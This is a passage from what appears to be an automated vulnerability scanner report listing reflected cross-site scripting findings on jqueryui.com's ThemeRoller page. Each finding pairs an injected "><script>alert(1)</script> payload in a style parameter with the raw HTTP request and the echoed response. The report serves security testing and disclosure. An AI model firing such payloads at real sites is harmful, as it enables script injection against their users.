GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636d31ec"><script>alert(1)</script>eba326948fc&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:46 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
Active=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636d31ec"><script>alert(1)</script>eba326948fc&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_fl
...[SNIP]...

1.156. http://jqueryui.com/themeroller/ [fcHover parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the fcHover request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ea519"><script>alert(1)</script>df022702129 was submitted in the fcHover parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121ea519"><script>alert(1)</script>df022702129&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:43 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121ea519"><script>alert(1)</script>df022702129&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight
...[SNIP]...

1.157. http://jqueryui.com/themeroller/ [ffDefault parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the ffDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5c7de"><script>alert(1)</script>abcacab3b7 was submitted in the ffDefault parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif5c7de"><script>alert(1)</script>abcacab3b7&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:28 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120064

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
<link rel="stylesheet" href="/themeroller/css/parseTheme.css.php?ctl=themeroller&ffDefault=Verdana,Arial,sans-serif5c7de"><script>alert(1)</script>abcacab3b7&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgCol
...[SNIP]...

1.158. http://jqueryui.com/themeroller/ [fsDefault parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the fsDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2541b"><script>alert(1)</script>dff14ea4a89 was submitted in the fsDefault parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em2541b"><script>alert(1)</script>dff14ea4a89&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:28 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www3
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
<link rel="stylesheet" href="/themeroller/css/parseTheme.css.php?ctl=themeroller&ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em2541b"><script>alert(1)</script>dff14ea4a89&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent
...[SNIP]...

1.159. http://jqueryui.com/themeroller/ [fwDefault parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the fwDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c2996"><script>alert(1)</script>4dcec26e9e5 was submitted in the fwDefault parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normalc2996"><script>alert(1)</script>4dcec26e9e5&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:28 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120002

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
<link rel="stylesheet" href="/themeroller/css/parseTheme.css.php?ctl=themeroller&ffDefault=Verdana,Arial,sans-serif&fwDefault=normalc2996"><script>alert(1)</script>4dcec26e9e5&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&
...[SNIP]...

1.160. http://jqueryui.com/themeroller/ [iconColorActive parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the iconColorActive request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5033f"><script>alert(1)</script>6745da73ba4 was submitted in the iconColorActive parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=4545455033f"><script>alert(1)</script>6745da73ba4&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:45 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
r=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=4545455033f"><script>alert(1)</script>6745da73ba4&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.pn
...[SNIP]...

1.161. http://jqueryui.com/themeroller/ [iconColorContent parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the iconColorContent request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3286f"><script>alert(1)</script>e150ae30ee5 was submitted in the iconColorContent parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=2222223286f"><script>alert(1)</script>e150ae30ee5&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:38 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
derColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=2222223286f"><script>alert(1)</script>e150ae30ee5&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpaci
...[SNIP]...

1.162. http://jqueryui.com/themeroller/ [iconColorDefault parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the iconColorDefault request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e1510"><script>alert(1)</script>7ec6fc417d4 was submitted in the iconColorDefault parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888e1510"><script>alert(1)</script>7ec6fc417d4&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:42 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
olorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888e1510"><script>alert(1)</script>7ec6fc417d4&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=6
...[SNIP]...

1.163. http://jqueryui.com/themeroller/ [iconColorError parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the iconColorError request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d7d24"><script>alert(1)</script>07a8ade417c was submitted in the iconColorError parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0ad7d24"><script>alert(1)</script>07a8ade417c&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=-8px&cornerRadiusShadow=8px HTTP/1.1
Host: jqueryui.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.62
Date: Wed, 09 Feb 2011 12:26:48 GMT
Content-Type: text/html
Connection: close
X-Powered-By: PHP/5.2.4-2ubuntu5.10
X-Served-By: www4
X-Proxy: 1
Content-Length: 120067

<!DOCTYPE html>
<html>
<head>
   <meta charset="UTF-8" />
   <title>jQuery UI - ThemeRoller</title>

   <meta name="keywords" content="jquery,user interface,ui,widgets,interaction,javascript" />
   <meta nam
...[SNIP]...
orderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0ad7d24"><script>alert(1)</script>07a8ade417c&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&of
...[SNIP]...

1.164. http://jqueryui.com/themeroller/ [iconColorHeader parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://jqueryui.com
Path:	/themeroller/

Issue detail

The value of the iconColorHeader request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e1682"><script>alert(1)</script>1e6b425896f was submitted in the iconColorHeader parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /themeroller/?ffDefault=Verdana,Arial,sans-serif&fwDefault=normal&fsDefault=1.1em&cornerRadius=4px&bgColorHeader=cccccc&bgTextureHeader=03_highlight_soft.png&bgImgOpacityHeader=75&borderColorHeader=aaaaaa&fcHeader=222222&iconColorHeader=222222e1682"><script>alert(1)</script>1e6b425896f&bgColorContent=ffffff&bgTextureContent=01_flat.png&bgImgOpacityContent=75&borderColorContent=aaaaaa&fcContent=222222&iconColorContent=222222&bgColorDefault=e6e6e6&bgTextureDefault=02_glass.png&bgImgOpacityDefault=75&borderColorDefault=d3d3d3&fcDefault=555555&iconColorDefault=888888&bgColorHover=dadada&bgTextureHover=02_glass.png&bgImgOpacityHover=75&borderColorHover=999999&fcHover=212121&iconColorHover=454545&bgColorActive=ffffff&bgTextureActive=02_glass.png&bgImgOpacityActive=65&borderColorActive=aaaaaa&fcActive=212121&iconColorActive=454545&bgColorHighlight=fbf9ee&bgTextureHighlight=02_glass.png&bgImgOpacityHighlight=55&borderColorHighlight=fcefa1&fcHighlight=363636&iconColorHighlight=2e83ff&bgColorError=fef1ec&bgTextureError=02_glass.png&bgImgOpacityError=95&borderColorError=cd0a0a&fcError=cd0a0a&iconColorError=cd0a0a&bgColorOverlay=aaaaaa&bgTextureOverlay=01_flat.png&bgImgOpacityOverlay=0&opacityOverlay=30&bgColorShadow=aaaaaa&bgTextureShadow=01_flat.png&bgImgOpacityShadow=0&opacityShadow=30&thicknessShadow=8px&offsetTopShadow=-8px&offsetLeftShadow=